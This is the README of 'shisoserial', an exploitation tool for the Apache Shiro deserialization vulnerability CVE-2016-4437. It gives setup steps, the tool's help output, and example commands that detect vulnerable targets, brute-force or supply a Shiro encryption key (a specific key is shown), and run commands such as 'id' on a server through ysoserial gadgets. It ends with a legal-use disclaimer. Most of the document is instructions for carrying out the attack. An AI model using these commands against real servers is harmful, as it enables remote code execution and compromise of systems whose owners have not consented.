4nth0ny1130/shisoserialUna herramienta de explotación rápida para la vulnerabilidad de deserialización de shiro (CVE-2016-4437)/Una herramienta simple dirigida a ataques al framework shiro con ysoserial.
Una herramienta de explotación rápida para la vulnerabilidad de deserialización de Shiro (CVE-2016-4437)
4nth0ny @Laboratorio Viernes
Bienvenidos issues/pull requests
:)
python 3.x
JDK 1.8
python3 -m pip install -r requirements.txt
Para AttributeError: module 'Crypto.Cipher.AES' has no attribute 'MODE_GCM' o No module named 'Crypto'
python3 -m pip uninstall crypto pycryptodome
python3 -m pip install pycryptodome
usage: shisoserial.py [-h] --mode MODE --url [--type default:CBC] [--data] [--key] [--gadget] [--command default:whoami] [--proxies] [--ser] [--thread]
This is a simple tool to attack framework shiro with ysoserial
optional arguments:
-h, --help show this help message and exit
--mode MODE, -m MODE check/crack/yso/echo/encode
--url , -u Target URL address or the file containing the target URL
--type default:CBC, -t default:CBC
Cipher Type, GCM or CBC
--data , -d Using this parameter will make HTTP request with POST method
--key , -k Specify a Shiro Key or will use dictionary brute force cracking
--gadget , -g Specific Ysoserial Gadget
--command default:whoami, -c default:whoami
Specific Execute Command
--proxies , -p Specific Proxy
--ser , -s Specific serialize file name
--thread , -T Specific the number of threads
python3 shisoserial.py -m check -u http://127.0.0.1:8080
python3 shisoserial.py -m crack -u http://*.*.*.*:**** -t CBC -p ****://*.*.*.*:****/
python3 shisoserial.py -m echo -u http://127.0.0.1:8080 -g CommonsCollectionsK1 -c id
python3 shisoserial.py -m crack -u target_urls.txt -k kPH+bIxk5D2deZiIxcaaaA== -d username=1
python3 shisoserial.py -m encode -u target_urls.txt -t cbc -s 1.ser -T 4
Esta herramienta solo debe utilizarse en la construcción de seguridad empresarial con la autorización legal suficiente. Al usar esta herramienta, debe asegurarse de que todas sus acciones cumplan con las leyes y regulaciones locales. Si realiza algún acto ilegal durante el uso de esta herramienta, asumirá todas las consecuencias. Todos los desarrolladores y contribuyentes de esta herramienta no asumen ninguna responsabilidad legal o vicaria. A menos que haya leído, entendido completamente y aceptado todos los términos de este acuerdo, no instale ni use esta herramienta. Su uso o cualquier otra forma expresa o implícita de aceptación de este acuerdo se considerará como que ha leído y aceptado estar sujeto a este acuerdo.